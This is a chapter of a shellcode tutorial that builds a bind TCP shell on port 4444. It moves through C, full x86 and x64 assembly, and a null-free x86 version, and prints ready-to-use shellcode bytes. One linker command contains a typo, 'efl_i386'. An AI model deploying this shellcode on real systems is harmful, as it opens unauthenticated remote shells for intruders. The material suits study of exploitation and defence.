19. Bind TCP Shell
In this chapter, we’ll create a bind TCP shell - a shellcode that opens a network port and binds a shell to it, allowing remote connections. This is extremely useful in penetration testing and network exploitation.
Working of a Bind TCP Shell
A bind TCP shell works as follows:
- Create a socket - Create a network socket
- Bind to port - Bind the socket to a specific port
- Listen for connections - Start listening for incoming connections
- Accept connection - Accept an incoming connection
- Duplicate file descriptors - Redirect STDIN, STDOUT, STDERR to the socket
- Execute shell - Spawn a shell that communicates over the network
We’ll need these Linux system calls:
| Syscall | x86 Number | Purpose |
|---|---|---|
socket | 0x167 (359) | Create network socket |
bind | 0x169 (361) | Bind socket to address/port |
listen | 0x16b (363) | Listen for connections |
accept | 0x16c (364) | Accept incoming connection |
dup2 | 0x3f (63) | Duplicate file descriptors |
execve | 0xb (11) | Execute shell |
First let’s write the bind shell in C and then we will write that in assembly -
Before we start, we need to include the necessary headers for networking, file descriptor manipulation, and process creation.
1
2
3
4
#include <sys/socket.h> // For socket functions
#include <netinet/in.h> // For sockaddr_in
#include <unistd.h> // For dup2, execve, etc.
#include <stdio.h> // For perror
Step 1: Create a Socket
The socket is the fundamental building block of network communication. It’s an endpoint for sending and receiving data across the network.
1
2
3
4
5
6
// Create socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket");
exit(1);
}
The AF_INET parameter specifies the IPv4 address family, while SOCK_STREAM indicates a reliable, connection-oriented TCP socket. The 0 parameter allows the system to automatically select the default protocol, which is TCP when using SOCK_STREAM. The function call returns a file descriptor, sockfd, that uniquely identifies the socket and is used for all subsequent network operations performed on it.
Step 2: Bind the Socket to a Port
Creating a socket isn’t enough; we need to assign it a local address (an IP and a port) so that clients know where to connect. We use the bind() system call for this.
1
2
3
4
5
6
7
8
9
10
11
12
// Setup server address structure
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(4444); // Port 4444
server_addr.sin_addr.s_addr = INADDR_ANY;
// Bind socket
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("bind");
close(sockfd);
exit(1);
}
The sockaddr_in structure stores address information for IPv4 sockets, including IP address and port details. Setting sin_addr.s_addr = INADDR_ANY instructs the socket to bind to all available network interfaces on the machine, effectively listening on the IP address 0.0.0.0. The htons(port) function converts the port number from host byte order to network byte order (big-endian), ensuring consistent communication across different hardware architectures and platforms.
Step 3: Listen for Incoming Connections
Now that our socket is bound to a port, we need to tell the operating system to prepare for incoming connection requests. The listen() function places the socket in a passive state, waiting for clients to connect.
1
2
3
4
5
6
// Listen for connections
if (listen(sockfd, 1) == -1) { // Backlog queue of 1
perror("listen");
close(sockfd);
exit(1);
}
The second argument, 1, is the backlog. It defines the maximum number of pending connections that can be queued up while the program is handling a previous one. If the queue is full, new connections may be refused.
Step 4: Accept an Incoming Connection
When a remote client attempts to connect, we must accept() the connection. This function extracts the first connection request from the queue, creates a new socket specifically for that connection, and returns its file descriptor.
1
2
3
4
5
6
7
8
9
10
// Accept connection
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (clientfd == -1) {
perror("accept");
close(sockfd);
exit(1);
}
The original sockfd is only for listening and accepting. The clientfd is the active channel for communication with the connected client.
Step 5: Duplicate File Descriptors (The Magic)
This is the core of the shell functionality. A standard shell expects input from STDIN (file descriptor 0) and sends output to STDOUT (fd 1) and STDERR (fd 2). We need to redirect these standard streams to our network socket.
We use the dup2() system call, which duplicates one file descriptor onto another.
1
2
3
4
// Redirect STDIN, STDOUT, STDERR to socket
dup2(clientfd, 0); // STDIN
dup2(clientfd, 1); // STDOUT
dup2(clientfd, 2); // STDERR
After these calls, any data read by a program from STDIN will come from the network socket. Any data written to STDOUT or STDERR will be sent over the network socket to the connected client. The shell we are about to spawn will now use the network for all its I/O.
Step 6: Execute the Shell
Finally, we replace the current process’s memory with a shell program (like /bin/sh). This new process will inherit all the open file descriptors, including the ones we just duplicated.
1
2
3
4
5
6
7
8
9
10
11
// Execute a shell
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
// If execve fails, we need error handling
perror("execve failed");
exit(EXIT_FAILURE);
// Close sockets (only reached if execve fails)
close(clientfd);
close(sockfd);
Complete code in C looks like this -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <sys/socket.h> // For socket functions
#include <netinet/in.h> // For sockaddr_in
#include <unistd.h> // For dup2, execve, etc.
#include <stdio.h> // For perror
int main(){
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// AF_INET indicates IPv4
// SOCK_STREAM indicates TCP
// 0 indicates default protocol (TCP for SOCK_STREAM)
struct sockaddr_in server_addr;
// sockaddr_in is a structure that contains an internet address
server_addr.sin_family = AF_INET; // IPv4
server_addr.sin_addr.s_addr = INADDR_ANY; // Accept connections from any IP address
server_addr.sin_port = htons(4444); // Port number (4444) in network byte order
// Bind the socket to the specified IP and port
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
// Handle error
perror("Bind failed");
close(sockfd);
return -1;
}
// Now the socket is bound to the IP and port
// You can proceed to listen for incoming connections or perform other operations
if(listen(sockfd, 1) < 0) {
// Handle error
perror("Listen failed");
close(sockfd);
return -1;
}
// Accept an incoming connection
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (clientfd < 0) {
// Handle error
perror("Accept failed");
close(sockfd);
return -1;
}
// Redirect standard input, output, and error to the accepted socket
dup2(clientfd, 0); // stdin
dup2(clientfd, 1); // stdout
dup2(clientfd, 2); // stderr
// Execute a shell
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
// Close sockets (Only reached if execve fails)
close(clientfd);
close(sockfd);
return 0;
}
Compilation and Execution
1
2
gcc bind_tcp.c -o bind_tcp
./bind_tcp
It opens port 4444 and waits for connection.
1
2
3
4
$ netstat -tulpn | grep 4444
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 27155/bind_tcp
In a separate terminal, connect to the shell using netcat:
1
nc localhost 4444
For x86 assembly analysis, we need to compile our C code with the -m32 flag to target 32-bit x86 architecture:
1
gcc -m32 bind_tcp.c -o bind_tcp
This generates a 32-bit binary that we can analyze to understand the assembly equivalent of our C code.
We disassemble the binary using objdump, to get a detailed view of how our C code translates into machine instructions. Let’s break down the key sections:
1
$ objdump -M intel -d bind_tcp | awk -F"\\n" -v RS="\\n\\n" '$1 ~ /main/'
Register Clearing
1
2
3
4
5
6
; Clear registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
Socket Creation
1
2
3
4
5
6
7
8
9
10
11
12
13
; -----------------------
; socket(AF_INET, SOCK_STREAM, 0)
; socketcall: eax = 0x66, ebx = SYS_SOCKET (1), ecx = ptr(args)
; args: [domain, type, protocol]
; -----------------------
push 0 ; protocol = 0
push 1 ; SOCK_STREAM = 1
push 2 ; AF_INET = 2
mov ecx, esp ; pointer to args
mov eax, 0x66 ; sys_socketcall
mov bl, 1 ; SYS_SOCKET
int 0x80
mov esi, eax ; esi = sockfd
The socket file descriptor returned in EAX is saved in ESI for later use.
Socket Binding
struct sockaddr_in looks like -
1
2
3
4
5
6
7
struct sockaddr_in {
short sin_family; // 2 bytes
unsigned short sin_port; // 2 bytes
unsigned long sin_addr; // 4 bytes
char sin_zero[8]; // 8 bytes padding
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; -----------------------
; We'll push: sin_zero (8), sin_addr (4), sin_port (2), sin_family (2)
; -----------------------
xor eax, eax
push eax ; sin_zero (4)
push eax ; sin_zero (4) -> total 8 bytes
push eax ; sin_addr = INADDR_ANY (0)
push word 0x5c11 ; sin_port = htons(4444) -> 0x115c -> 0x5c11 in network byte order
push word 2 ; sin_family = AF_INET (2)
mov ecx, esp ; ecx -> sockaddr_in
; -----------------------
; bind(sockfd, &addr, 16)
; socketcall: ebx = SYS_BIND (2), ecx = ptr([sockfd, sockaddr*, addrlen])
; -----------------------
push 0x10 ; addrlen = sizeof(sockaddr_in) = 16
push ecx ; pointer to sockaddr_in
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 2 ; SYS_BIND
int 0x80
; return in eax (0 on success)
We create a sockaddr_in structure on the stack with:
sin_family: AF_INET (2)sin_port: 4444 in network byte ordersin_addr: INADDR_ANY (0.0.0.0)
Network byte order means most significant byte first (big-endian) The structure is 16 bytes total including padding.
Listening and Accepting Connections
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; -----------------------
; listen(sockfd, backlog)
; socketcall: ebx = SYS_LISTEN (4), ecx = ptr([sockfd, backlog])
; -----------------------
push 1 ; backlog = 1
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 4 ; SYS_LISTEN
int 0x80
; -----------------------
; accept(sockfd, NULL, NULL)
; socketcall: ebx = SYS_ACCEPT (5), ecx = ptr([sockfd, addr, addrlen])
; We pass NULL for addr and addrlen
; -----------------------
push 0 ; addrlen = NULL
push 0 ; addr = NULL
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 5 ; SYS_ACCEPT
int 0x80
; eax = newclientfd
mov ebx, eax ; ebx = client socket fd
File Descriptor Duplication
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
; -----------------------
; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
; syscall: eax = 0x3f (dup2), ebx = oldfd (clientfd), ecx = newfd
; -----------------------
xor ecx, ecx ; Start with STDIN (0)
; STDIN
mov al, 0x3f ; dup2 syscall = 63 (0x3f)
int 0x80
; STDOUT
inc ecx ; ecx = 1
mov al, 0x3f
int 0x80
; STDERR
inc ecx ; ecx = 2
mov al, 0x3f
int 0x80
Shell Execution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; -----------------------
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
; -----------------------
; Execute /bin/sh - execve("/bin/sh", NULL, NULL)
xor eax, eax ; Clear EAX
; Push NULL terminator for string and arrays
push eax
; Push "/bin//sh" string (8 bytes for alignment)
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX points to "/bin//sh" string
; Prepare execve arguments
push eax ; NULL terminator
mov edx, esp ; envp
push ebx ; argv[0]
mov ecx, esp ; argv
mov al, 0xb ; execve syscall
int 0x80
Final code looks like -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
section .text
global _start
_start:
; Clear registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
; ------------------------------------------------
; socket(AF_INET, SOCK_STREAM, 0)
; socketcall: eax = 0x66, ebx = SYS_SOCKET (1), ecx = ptr(args)
; args: [domain, type, protocol]
; ------------------------------------------------
push 0 ; protocol = 0
push 1 ; SOCK_STREAM = 1
push 2 ; AF_INET = 2
mov ecx, esp ; pointer to args
mov eax, 0x66 ; sys_socketcall
mov bl, 1 ; SYS_SOCKET
int 0x80
mov esi, eax ; esi = sockfd
; ------------------------------------------------
; Build sockaddr_in on the stack:
; sin_family (2), sin_port (2), sin_addr (4), sin_zero (8)
; ------------------------------------------------
xor eax, eax
push eax ; sin_zero (4)
push eax ; sin_zero (4) -> total 8 bytes
push eax ; sin_addr = INADDR_ANY (0)
push word 0x5c11 ; sin_port = htons(4444) -> 0x115c -> 0x5c11 network order
push word 2 ; sin_family = AF_INET (2)
mov ecx, esp ; ecx -> sockaddr_in
; ------------------------------------------------
; bind(sockfd, &addr, 16)
; socketcall: ebx = SYS_BIND (2), ecx = ptr([sockfd, sockaddr*, addrlen])
; ------------------------------------------------
push 0x10 ; addrlen = sizeof(sockaddr_in) = 16
push ecx ; pointer to sockaddr_in
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 2 ; SYS_BIND
int 0x80
; return in eax (0 on success)
; ------------------------------------------------
; listen(sockfd, backlog)
; socketcall: ebx = SYS_LISTEN (4), ecx = ptr([sockfd, backlog])
; ------------------------------------------------
push 1 ; backlog = 1
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 4 ; SYS_LISTEN
int 0x80
; ------------------------------------------------
; accept(sockfd, NULL, NULL)
; socketcall: ebx = SYS_ACCEPT (5), ecx = ptr([sockfd, addr, addrlen])
; We pass NULL for addr and addrlen
; ------------------------------------------------
push 0 ; addrlen = NULL
push 0 ; addr = NULL
push esi ; sockfd
mov ecx, esp
mov eax, 0x66
mov bl, 5 ; SYS_ACCEPT
int 0x80
mov ebx, eax ; ebx = client socket fd
; ------------------------------------------------
; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
; syscall: eax = 0x3f (dup2), ebx = oldfd (clientfd), ecx = newfd
; ------------------------------------------------
xor ecx, ecx ; start with STDIN (0)
; STDIN
mov al, 0x3f ; dup2 syscall = 63 (0x3f)
int 0x80
; STDOUT
inc ecx ; ecx = 1
mov al, 0x3f
int 0x80
; STDERR
inc ecx ; ecx = 2
mov al, 0x3f
int 0x80
; ------------------------------------------------
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
; ------------------------------------------------
xor eax, eax ; clear EAX
; Push NULL terminator for string and arrays
push eax
; Push "/bin//sh" string (8 bytes for alignment)
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX points to "/bin//sh"
; Prepare execve arguments
push eax ; NULL terminator for argv
mov edx, esp ; envp = NULL
push ebx ; argv[0] = pointer to "/bin//sh"
mov ecx, esp ; argv
mov al, 0x0b ; execve syscall = 11 (0x0b)
int 0x80
1
2
nasm -f elf32 bind_tcp32.s -o bind_tcp32.o
ld -m efl_i386 bind_tcp32.o -o bind_tcp32
For x64 assembly we just need to change the registers and syscall numbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
section .text
global _start
_start:
; Clear registers
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
; ------------------------------------------------
; socket(AF_INET, SOCK_STREAM, 0)
; syscall: rax = 0x29 (41), rdi = AF_INET, rsi = SOCK_STREAM, rdx = 0
; ------------------------------------------------
mov rdi, 2 ; AF_INET = 2
mov rsi, 1 ; SOCK_STREAM = 1
mov rdx, 0 ; protocol = 0
mov rax, 0x29 ; sys_socket = 41
syscall
mov r12, rax ; r12 = sockfd
; ------------------------------------------------
; Build sockaddr_in on the stack:
; sin_family (2), sin_port (2), sin_addr (4), sin_zero (8)
; ------------------------------------------------
xor rax, rax
push rax ; sin_zero (8 bytes)
push rax ; sin_addr = INADDR_ANY (0)
push word 0x5c11 ; sin_port = htons(4444) -> 0x115c -> 0x5c11 network order
push word 2 ; sin_family = AF_INET (2)
mov rsi, rsp ; rsi -> sockaddr_in
; ------------------------------------------------
; bind(sockfd, &addr, 16)
; syscall: rax = 0x31 (49), rdi = sockfd, rsi = sockaddr*, rdx = addrlen
; ------------------------------------------------
mov rdi, r12 ; sockfd
mov rdx, 0x10 ; addrlen = sizeof(sockaddr_in) = 16
mov rax, 0x31 ; sys_bind = 49
syscall
; ------------------------------------------------
; listen(sockfd, backlog)
; syscall: rax = 0x32 (50), rdi = sockfd, rsi = backlog
; ------------------------------------------------
mov rdi, r12 ; sockfd
mov rsi, 1 ; backlog = 1
mov rax, 0x32 ; sys_listen = 50
syscall
; ------------------------------------------------
; accept(sockfd, NULL, NULL)
; syscall: rax = 0x2b (43), rdi = sockfd, rsi = addr, rdx = addrlen
; We pass NULL for addr and addrlen
; ------------------------------------------------
mov rdi, r12 ; sockfd
xor rsi, rsi ; addr = NULL
xor rdx, rdx ; addrlen = NULL
mov rax, 0x2b ; sys_accept = 43
syscall
mov r13, rax ; r13 = client socket fd
; ------------------------------------------------
; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
; syscall: rax = 0x21 (33), rdi = oldfd (clientfd), rsi = newfd
; ------------------------------------------------
mov rdi, r13 ; clientfd
xor rsi, rsi ; start with STDIN (0)
; STDIN
mov rax, 0x21 ; dup2 syscall = 33 (0x21)
syscall
; STDOUT
mov rdi, r13 ; clientfd
mov rsi, 1 ; STDOUT = 1
mov rax, 0x21
syscall
; STDERR
mov rdi, r13 ; clientfd
mov rsi, 2 ; STDERR = 2
mov rax, 0x21
syscall
; ------------------------------------------------
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
; ------------------------------------------------
xor rax, rax ; clear RAX
; Push NULL terminator for string and arrays
push rax
; Push "/bin/sh" string
mov rbx, 0x68732f6e69622f ; "/bin/sh" in hex
push rbx
mov rdi, rsp ; RDI points to "/bin/sh"
; Prepare execve arguments
push rax ; NULL terminator for argv
mov rdx, rsp ; envp = NULL
push rdi ; argv[0] = pointer to "/bin/sh"
mov rsi, rsp ; argv
mov rax, 0x3b ; execve syscall = 59 (0x3b)
syscall
1
2
nasm -f elf64 bind_tcp64.s -o bind_tcp64.o
ld bind_tcp64.o -o bind_tcp64
If we try to dump the shellcode we can see it has a lot of null bytes.
1
2
3
$ ./shellcode_kit.sh -a x86 --extract bind_tcp32
$ cat shellcode_bind_tcp32.txt
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xb8\x66\x00\x00\x00\xb3\x01\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x02\xcd\x80\x6a\x01\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x04\xcd\x80\x6a\x00\x6a\x00\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
For making Null Bytes Free shellcode you can check this -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global _start
section .text
_start:
; Clear registers without null bytes
xor ebx, ebx ; Clear EBX
mul ebx ; Clear EAX and EDX (EAX * EBX -> EDX:EAX)
xor ecx, ecx ; Clear ECX
; =============================================
; Step 1: Create socket (socketcall 1)
; =============================================
mov al, 0x66 ; socketcall syscall = 102
mov bl, 0x1 ; SYS_SOCKET = 1
; Push arguments in reverse order
push ecx ; protocol = 0
push byte 0x1 ; SOCK_STREAM = 1
push byte 0x2 ; AF_INET = 2
mov ecx, esp ; ECX points to arguments
int 0x80
; Save socket file descriptor
mov esi, eax ; ESI = sockfd
; =============================================
; Step 2: Bind socket (socketcall 2)
; =============================================
mov al, 0x66 ; socketcall
mov bl, 0x2 ; SYS_BIND = 2
; Build sockaddr_in structure
push edx ; INADDR_ANY (0.0.0.0)
push word 0x5c11 ; Port 4444 (0x115c -> 0x5c11 network byte order)
push word 0x2 ; AF_INET = 2
mov ecx, esp ; ECX points to sockaddr_in
; Push bind arguments
push byte 0x10 ; sizeof(sockaddr_in) = 16
push ecx ; pointer to sockaddr_in
push esi ; sockfd
mov ecx, esp ; ECX points to bind arguments
int 0x80
; =============================================
; Step 3: Listen for connections (socketcall 4)
; =============================================
mov al, 0x66 ; socketcall
mov bl, 0x4 ; SYS_LISTEN = 4
push edx ; backlog = 0
push esi ; sockfd
mov ecx, esp ; ECX points to listen arguments
int 0x80
; =============================================
; Step 4: Accept connection (socketcall 5)
; =============================================
mov al, 0x66 ; socketcall
mov bl, 0x5 ; SYS_ACCEPT = 5
push edx ; addrlen = NULL (0)
push edx ; addr = NULL (0)
push esi ; sockfd
mov ecx, esp ; ECX points to accept arguments
int 0x80
; Save client file descriptor
mov ebx, eax ; EBX = clientfd
; =============================================
; Step 5: Duplicate file descriptors
; =============================================
xor ecx, ecx ; Start with STDIN (0)
dup_loop:
mov al, 0x3f ; dup2 syscall = 63
int 0x80
inc ecx ; Next file descriptor
cmp ecx, 0x3 ; Done with 0, 1, 2?
jne dup_loop
; =============================================
; Step 6: Execute shell
; =============================================
xor eax, eax ; Clear EAX
push eax ; Push NULL terminator
; Push "/bin//sh" in reverse
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX points to "/bin//sh"
push eax ; envp[1] = NULL
mov edx, esp ; EDX points to envp
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ECX points to argv
mov al, 0xb ; execve syscall = 11
int 0x80
If you check the shellcode generated by this assembly code -
1
2
3
4
$ ./shellcode_kit.sh -a x86 --extract bind_null_free_32
$ cat shellcode_bind_null_free_32.txt
\x31\xdb\xf7\xe3\x31\xc9\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
It doesn’t contain any null-bytes. We can pass this to our loader.
1
$ ./shellcode_kit.sh -a x86 --run bind_null_free_32
On second terminal connect to port 4444
1
2
nc localhost 4444
It is working! :)
